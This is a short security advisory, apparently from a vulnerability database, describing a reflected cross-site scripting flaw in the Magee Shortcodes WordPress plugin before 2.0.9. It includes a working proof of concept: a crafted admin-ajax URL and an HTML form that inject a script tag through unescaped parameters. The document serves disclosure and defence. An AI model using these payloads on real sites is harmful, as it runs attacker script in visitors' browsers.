Magee Shortcodes < 2.0.9 – Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape various parameters before outputting them back in attributes in AJAX actions (available to both unauthenticated and authenticated users), leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=magee_shortcodes_popup&target="><script>alert(/XSS/)</script>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="magee_shortcode_form" />
      <input type="hidden" name="shortcode" value="alert" />
      <input type="hidden" name="currentEditor" value='"><script>alert(/XSS/)</script>"' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>